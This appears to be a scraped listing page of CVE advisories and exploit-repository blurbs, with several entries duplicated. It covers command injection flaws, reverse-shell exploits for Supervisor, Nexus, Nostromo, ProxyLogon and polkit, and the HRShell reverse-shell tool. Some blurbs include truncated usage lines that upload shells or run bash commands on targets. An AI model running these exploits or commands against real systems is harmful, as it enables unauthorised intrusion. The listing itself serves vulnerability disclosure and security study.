CVE-2026-118755

The Volmarg Personal Management System through 2.1.0 is vulnerable to an OS command injection flaw within the storage module's tree command. The root cause is the failure to escape folder paths, allowing authenticated users to create directories under upload/files containing shell metacharacters ...

CVE-2026-118755 Volmarg Personal Management System through 2.1.0 OS Command Injection via Storage Folder Path

Volmarg Personal Management System through 2.1.0 contains an OS command injection vulnerability that allows authenticated users to execute shell commands via unescaped folder paths in the storage module's tree command. Attackers can create a directory under upload/files containing shell...

CVE-2026-118755 Volmarg Personal Management System through 2.1.0 OS Command Injection via Storage Folder Path

Volmarg Personal Management System through 2.1.0 contains an OS command injection vulnerability that allows authenticated users to execute shell commands via unescaped folder paths in the storage module's tree command. Attackers can create a directory under upload/files containing shell...

CVE-2026-118692 CherryTree through 1.7.2 OS Command Injection via Custom Web Link Action

CherryTree through 1.7.2 contains an OS command injection vulnerability in CtActions::linkclicked that allows attackers to execute commands by embedding shell metacharacters in web link URLs. When the non-default Custom Web Link Clicked Action option is enabled, attackers can supply crafted...

Flangvik

Flangvik C POC for CVE-2021-26855 aka ProxyLogon, supports the classically semi-interactive web shell as well as shellcode in…...

CVE-2023-50564

CVE-2023-50564 For educational purposes only. This script abuses CVE-2023-50564 to upload a reverse-php shell to the target server. You can use a shell like this one. Just zip the php file and pass the zip to this script. Example python3 cve-2023-50564.py -u http://idonot.exist -f shell.zip -p...

CVE-2017-11610

CVE-2017-11610 Unauthenticated Reverse Shell RCE for Supervisor 3.0a1 - 3.3.2 Standalone Python ≥3.6 Unauthenticated RCE exploit for Supervisor 3.0a1 to 3.3.2, rewritten from this Metasploit module. Explanatory post here. Tested with Python 3.7 on this target runing Supervisor 3.3.2 Usage:...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

This script targets the Nexus Repository Manager 3 EL injection vulnerability CVE-2018-16621, and performs one-click exploitation to get a reverse shell. Running Example: Run the script on the attacker machine, enter the target IP, port, local listener IP and port as prompted, then execute the...

CVE-2021-3156

CVE-2021-3156 Introduction This repository was created for studying purpose. The project contains some tools for studying the sudo Baron Samedit vulnerability and the exploit for it. Thanks to Qualys Team for discovering such vulnerability, to Worawit and 0xdevil for the interesting writeups. Usa...

CVE-2024-49653

📜 WordPress Portfolleo Plugin Exploit CVE-2024-49653 🚨 Vulnerability Details Title: WordPress Portfolleo plugin = 1.2 - Arbitrary File Upload vulnerability Description: Unrestricted Upload of File with Dangerous Type vulnerability in James Eggers Portfolleo portfolleo allows uploading a web shell...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE This is a exploit of CVE-2019-16278 for Nostromo 1.9.6 RCE. This exploit allows RCE on the victim machine. Requirements optparse socat sys Usage You can use the exploit as follows: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -...

berdav-CVE-2021-4034

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here PoC If the exploit is working you'll get a root shell immediately: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall...

Exploit for CVE-2026-98260

TimerRoot Android front end for CVE-2026-98260 POSIX CPU...

CVE-2026-59177

ESPHome Device Builder Dashboard is a dashboard for the ESPHome home management software. Prior to 1.0.10, the Home Assistant add-on's trusted ingress site binds to 0.0.0.0 while intentionally skipping dashboard authentication because the supervisor is expected to authenticate requests upstream...

HRShell

HRShell: An advanced HTTPS Reverse Shell built with Flask HRShell is an HTTPS/HTTP reverse shell built with flask and is compatible with python 3.x. The client.py has been successfully tested on: Linux ubuntu 18.04 LTS, Kali Linux 2019.3 macOS Mojave/Catalina Windows 7/10 while the server.py is...

CVE-2015-8522.RCE

CVE-2015-8522 The Tivoli FastBack Server 6.1.4 application is vulnerable to a stack-based buffer overflow allowing threat-actors to gain Arbitrary Code Execution ACE via a remote TCP-connection. The PoC provided in this repository leverages this vulnerability to both execute CMD.exe on the target...

CVE-2026-59177 ESPHome Device Builder allows unauthenticated dashboard access via the HA add-on ingress site bound to all interfaces

ESPHome Device Builder Dashboard is a dashboard for the ESPHome home management software. Prior to 1.0.10, the Home Assistant add-on's trusted ingress site binds to 0.0.0.0 while intentionally skipping dashboard authentication because the supervisor is expected to authenticate requests upstream...

CVE-2026-59177 ESPHome Device Builder allows unauthenticated dashboard access via the HA add-on ingress site bound to all interfaces

ESPHome Device Builder Dashboard is a dashboard for the ESPHome home management software. Prior to 1.0.10, the Home Assistant add-on's trusted ingress site binds to 0.0.0.0 while intentionally skipping dashboard authentication because the supervisor is expected to authenticate requests upstream...

Drupal-Exploit-Lab

Drupal-Exploit-Lab Demonstration on exploitation on Drupal 7.57 CVE-2018-7600 with and without WAFWeb Application Firewall Description The project shows how the exploitation of Drupal 7.57 looks like in two different scenarios: 1. Unprotected server → successful exploitation with Metasploit and...

CVE-2026-114278

The che-machine-exec service constructs a shell command by concatenating user-controlled input the username and namespace fields from the /exec/init and /exec/config JSON endpoints into a double-quoted sh -c "echo "..." ..." invocation without any escaping. When che-machine-exec is run with...